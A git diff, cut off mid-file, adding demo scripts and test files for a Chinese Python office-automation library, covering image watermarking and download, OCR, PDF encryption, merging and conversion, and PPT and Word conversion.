"a/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..7e09de2 Binary files /dev/null and "b/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git a/demo/poimage/test_files/del_watermark/del_watermark.jpg b/demo/poimage/test_files/del_watermark/del_watermark.jpg new file mode 100644 index 0000000..719707d Binary files /dev/null and b/demo/poimage/test_files/del_watermark/del_watermark.jpg differ diff --git a/demo/poimage/test_files/del_watermark/img.png b/demo/poimage/test_files/del_watermark/img.png new file mode 100644 index 0000000..f52ddbe Binary files /dev/null and b/demo/poimage/test_files/del_watermark/img.png differ diff --git "a/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" "b/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" new file mode 100644 index 0000000..922cd69 Binary files /dev/null and "b/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" differ diff --git "a/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" "b/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" new file mode 100644 index 0000000..98816ad --- /dev/null +++ "b/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:30 +@本段代码的视频说明 : +''' + +# 导入这个库:python-office,简写为office +import office + +office.image.down4img( + url='https://cos.python-office.com/icon2.jpg', + output_name='./test_files/下载图片/B站:程序员晚枫', + type='jpg') +# 参数说明: +# url:你要下载的图片链接 +# output_name:下载后的图片名称,可以不填,默认:down4img +# type:下载后的图片类型,可以不填,默认:jpg diff --git "a/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" "b/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" new file mode 100644 index 0000000..f8cb42d --- /dev/null +++ "b/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:08 +@本段代码的视频说明 : +''' +# 给图片加水印 +import office + +office.image.add_watermark(file='./test_files/add_watermark/程序员晚枫-2.jpg', + mark='程序员晚枫', + output_path=r'./test_files/add_watermark/mark_img') diff --git "a/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" "b/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" new file mode 100644 index 0000000..2f63e7f --- /dev/null +++ "b/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:36 +@本段代码的视频说明 : +''' + +# pip install poimage,可以使用清华大学的仓库下载:https://www.bilibili.com/video/BV1SM411y7vw +import poimage + +# 支持jpg、png等所有图片格式 +# 注意:图片的路径和名称,都不能有中文! +poimage.del_watermark( + input_image=r"D:\workplace\code\github\python-office\demo\poimage\test_files\del_watermark\img.png", + output_image=r'./test_files/del_watermark/del_watermark.jpg') diff --git "a/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" "b/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" new file mode 100644 index 0000000..4a849cf --- /dev/null +++ "b/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" @@ -0,0 +1,11 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:48 +@本段代码的视频说明 : +''' +import poimage + +poimage.txt2wordcloud() diff --git a/demo/poimage_demo/compress_image.py b/demo/poimage_demo/compress_image.py new file mode 100644 index 0000000..a26de36 --- /dev/null +++ b/demo/poimage_demo/compress_image.py @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/7/3 23:46 +@Description : +''' +import office + +office.image.compress_image(input_file=r'D:\workplace\code\github\poimage\tests\头像.jpg', + output_file="compressed.jpg", + quality=50) # 质量,1-100之间,数值越低压缩率越高 diff --git "a/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" "b/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" new file mode 100644 index 0000000..7f9de32 --- /dev/null +++ "b/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" @@ -0,0 +1,22 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/26 0:02 +@本段代码的视频说明 : +''' + +# pip install poocr +import poocr + +# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee +id = '获取方式👆' +key = '获取方式👆' + +# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg +result = poocr.ocr.BankCardOCR( + # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url + img_path=r'D:\workplace\code\程序员晚枫\全网同名\银行卡照片.jpg', + id=id, key=key) +print(result) # 输出json格式的识别结果 diff --git "a/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" "b/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" new file mode 100644 index 0000000..65fecd8 --- /dev/null +++ "b/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" @@ -0,0 +1,21 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/25 22:52 +@本段代码的视频说明 : +''' +# pip install poocr +import poocr + +# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee +id = '获取方式👆' +key = '获取方式👆' + +# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg +result = poocr.ocr.GeneralBasicOCR( + # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url + img_path=r'D:\workplace\code\程序员晚枫\全网同名\普通照片.jpg', + id=id, key=key) +print(result) # 输出json格式的识别结果 diff --git "a/demo/popdf/PDF\345\212\240\345\257\206.py" "b/demo/popdf/PDF\345\212\240\345\257\206.py" new file mode 100644 index 0000000..675a74b --- /dev/null +++ "b/demo/popdf/PDF\345\212\240\345\257\206.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:05 +@本段代码的视频说明 : +''' + +# 导入这个库 +import office + +# PDF加密:填写你的文件位置和密码 +office.pdf.encrypt4pdf(path='./test_files/encrypt4pdf/程序员晚枫(作品合集).pdf', password='你想添加的密码') + +# 参数说明: +# path:你的文件位置,例如:D:\work\参考.pdf +# password:你的密码,可以随意设置,不能为空 \ No newline at end of file diff --git "a/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py" "b/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py" new file mode 100644 index 0000000..f15f2d1 --- /dev/null +++ "b/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/17 22:37 +@本段代码的视频说明 : +''' + +import office + +office.pdf.add_mark(pdf_file=r'./test_files/add_mark/程序员晚枫(没加水印).pdf', mark_str='程序员晚枫', + output_path=r'./test_files/add_mark/output', output_file_name='程序员晚枫(加了水印).pdf') diff --git "a/demo/popdf/PDF\350\247\243\345\257\206.py" "b/demo/popdf/PDF\350\247\243\345\257\206.py" new file mode 100644 index 0000000..9d7b52f --- /dev/null +++ "b/demo/popdf/PDF\350\247\243\345\257\206.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:07 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为:office +import office + +# PDF解密:填写你的文件位置和密码 +office.pdf.decrypt4pdf(path='你的加密文件.pdf', password='该文件的密码') \ No newline at end of file diff --git "a/demo/popdf/TXT\350\275\254PDF.py" "b/demo/popdf/TXT\350\275\254PDF.py" new file mode 100644 index 0000000..6723da0 --- /dev/null +++ "b/demo/popdf/TXT\350\275\254PDF.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:01 +@本段代码的视频说明 : +''' + +import office + +office.pdf.txt2pdf(path=r'./test_files/txt2pdf/程序员晚枫.txt', res_pdf='txt2pdf.popdf', output_path=r'./test_files/txt2pdf/output') diff --git a/demo/popdf/pdf_demo.py b/demo/popdf/pdf_demo.py new file mode 100644 index 0000000..9513d0c --- /dev/null +++ b/demo/popdf/pdf_demo.py @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/24 23:05 +@Description : +''' +import office + +office.pdf.add_watermark_by_parameters(pdf_file=r'D:\workplace\code\github\popdf\tests\test_files\pdf\in.popdf', + mark_str='python-office') diff --git "a/demo/popdf/pdf\350\275\254word.py" "b/demo/popdf/pdf\350\275\254word.py" new file mode 100644 index 0000000..a3b4fe5 --- /dev/null +++ "b/demo/popdf/pdf\350\275\254word.py" @@ -0,0 +1,22 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:40 +@本段代码的视频说明 : +''' + +# pip install python-office +import office # 导入第三方库 + +office.pdf.pdf2docx(file_path=r'D:\pdf\程序员晚枫.pdf', + output_path=r'D:\download') + + +# 上面这种是Windows用户 +# 尊贵的Mac和Linux用户 +# pip install popdf +# import popdf +# popdf.pdf2docx(file_path=r'D:\workplace\code\github\python-office\demo\popdf\test_files\pdf2docx\程序员晚枫.pdf', +# output_path=r'./test_files/pdf2docx/output') diff --git "a/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py" "b/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py" new file mode 100644 index 0000000..7a3a63f --- /dev/null +++ "b/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:09 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为office +import office + +# 一行代码,实现转换 +office.pdf.pdf2imgs( + pdf_path='D://程序员晚枫的文件夹//程序员晚枫.pdf', + out_dir='./点赞+关注文件夹' +) +# 参数说明: +# pdf_path = 你的PDF文件的地址 +# out_dir = 转换后的图片存放地址,可以不填,默认是PDF的地址 \ No newline at end of file diff --git a/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf b/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf new file mode 100644 index 0000000..94d043a Binary files /dev/null and b/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf differ diff --git "a/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" "b/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" new file mode 100644 index 0000000..7dadbde Binary files /dev/null and "b/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" differ diff --git "a/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" "b/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" differ diff --git "a/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ diff --git "a/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ diff --git "a/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..b639a59 Binary files /dev/null and "b/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..1dfe32d Binary files /dev/null and "b/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" "b/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" new file mode 100644 index 0000000..b282df0 --- /dev/null +++ "b/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" @@ -0,0 +1,11 @@ +公众号:程序员晚枫 +小红书:程序员晚枫 +知乎:程序员晚枫 +抖音:程序员晚枫 +快手:程序员晚枫 +B站:程序员晚枫 + + +个人网站:www.python-office.com + +技术答疑群:http://www.python4office.cn/wechat-group/ \ No newline at end of file diff --git "a/demo/popdf/\345\220\210\345\271\266PDF.py" "b/demo/popdf/\345\220\210\345\271\266PDF.py" new file mode 100644 index 0000000..bcae6bf --- /dev/null +++ "b/demo/popdf/\345\220\210\345\271\266PDF.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:08 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为office +import office + +#一行代码,合并pdf +office.pdf.merge2pdf(one_by_one=['程序员晚枫.pdf', '一键三连.pdf'], output='走起.pdf') + +#参数作用: +# one_by_one = 是个列表,里面是2个pdf文件,合并后,a在前面,b在后面 +# output = 合并后的pdf名字,不能为空 \ No newline at end of file diff --git a/demo/poppt/merge4ppt.py b/demo/poppt/merge4ppt.py new file mode 100644 index 0000000..cad405b --- /dev/null +++ b/demo/poppt/merge4ppt.py @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/5/25 23:34 +@Description : +''' + +# 集成使用 +import office + +input_path = r"./test_files/merge4ppt" +office.ppt.merge4ppt(input_path) + +# 独立使用 +# import poppt +# +# poppt.merge4ppt(input_path, output_path=r'./output') diff --git a/demo/poppt/ppt2img.py b/demo/poppt/ppt2img.py new file mode 100644 index 0000000..550a30d --- /dev/null +++ b/demo/poppt/ppt2img.py @@ -0,0 +1,29 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 23:12 +@本段代码的视频说明 : +''' + +# pip install python-office +import office + +office.ppt.ppt2img(input_path=r'./test_files/ppt2img/程序员晚枫-2.pptx', + output_path=r'./test_files/ppt2img/output', + merge=True) + +""" +PPT转图片 +Args: + input_path: 存放PPT的位置, + 转换单个文件 → 可以写文件的路径 + 转换单个文件 → 写文件夹的路径 + output_path: 结果图片的存储位置,可以不写,默认代码目录 + merge: True → 转为1张图片 + False → PPT有多少张,就转为多少张图片 + +Returns: None + +""" diff --git a/demo/poppt/ppt2pdf.py b/demo/poppt/ppt2pdf.py new file mode 100644 index 0000000..d0c1f9f --- /dev/null +++ b/demo/poppt/ppt2pdf.py @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:45 +@本段代码的视频说明 :https://www.bilibili.com/video/BV17Y411c792 +''' + +""" +微信:hdylw1024 + +""" +# 导入库:python-office,简写为:office +import office + +# 填入你的ppt目录 +office.ppt.ppt2pdf(path=r'./test_files/ppt2pdf/程序员晚枫.pptx', + output_path=r'./test_files/ppt2pdf/output') diff --git "a/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" new file mode 100644 index 0000000..00ac94a Binary files /dev/null and "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" differ diff --git "a/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" new file mode 100644 index 0000000..497af83 Binary files /dev/null and "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ diff --git "a/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..7e09de2 Binary files /dev/null and "b/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git "a/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" new file mode 100644 index 0000000..497af83 Binary files /dev/null and "b/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ diff --git "a/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..1fff768 Binary files /dev/null and "b/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" "b/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" new file mode 100644 index 0000000..00ac94a Binary files /dev/null and "b/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" differ diff --git a/demo/poprogress/simple.py b/demo/poprogress/simple.py new file mode 100644 index 0000000..b2f6cf5 --- /dev/null +++ b/demo/poprogress/simple.py @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/25 17:38 +@Description : +''' + +from poprogress import simple_progress + +for i in simple_progress(range(10000000), desc='当前进度'): + pass diff --git a/demo/porobot/chat.py b/demo/porobot/chat.py new file mode 100644 index 0000000..df83444 --- /dev/null +++ b/demo/porobot/chat.py @@ -0,0 +1,16 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/30 2:57 +@本段代码的视频说明 : +''' +import logging + +# import porobot +# +# print(porobot.normal.chat("写首古诗")) + +logger = logging.getLogger(__name__) +logger.warn('程序员晚枫') diff --git a/demo/povideo/mark2video.py b/demo/povideo/mark2video.py new file mode 100644 index 0000000..dd697a3 --- /dev/null +++ b/demo/povideo/mark2video.py @@ -0,0 +1,11 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/28 0:48 +@本段代码的视频说明 : +''' +import office + +office.video.mark2video(video_path=r'D:\download\baiduyun\图片添加水印.mp4', output_path=r'D:\download\baiduyun\out') diff --git "a/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py" "b/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py" new file mode 100644 index 0000000..bb114b0 --- /dev/null +++ "b/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:41 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1so4y1H7rj +''' + +# pip install python-office 一定要成功哦~ +import office + +office.word.docx2doc(input_path, output_path) + +office.word.doc2docx(input_path, output_path) diff --git "a/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..80b42eb Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..5b86f36 Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..a6ff738 Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/demo/poword/word\350\275\254PDF.py" "b/demo/poword/word\350\275\254PDF.py" new file mode 100644 index 0000000..8e5388a --- /dev/null +++ "b/demo/poword/word\350\275\254PDF.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:35 +@本段代码的视频说明 : +''' + +# pip install python-office +import office + +office.word.docx2pdf( + path=r'D:\workplace\code\github\python-office\demo\poword\test_files', + output_path=r'D:\workplace\code\github\python-office\demo\poword\test_files\docx2pdf') diff --git "a/demo/poword/\345\220\210\345\271\266word.py" "b/demo/poword/\345\220\210\345\271\266word.py" new file mode 100644 index 0000000..5b30951 --- /dev/null +++ "b/demo/poword/\345\220\210\345\271\266word.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 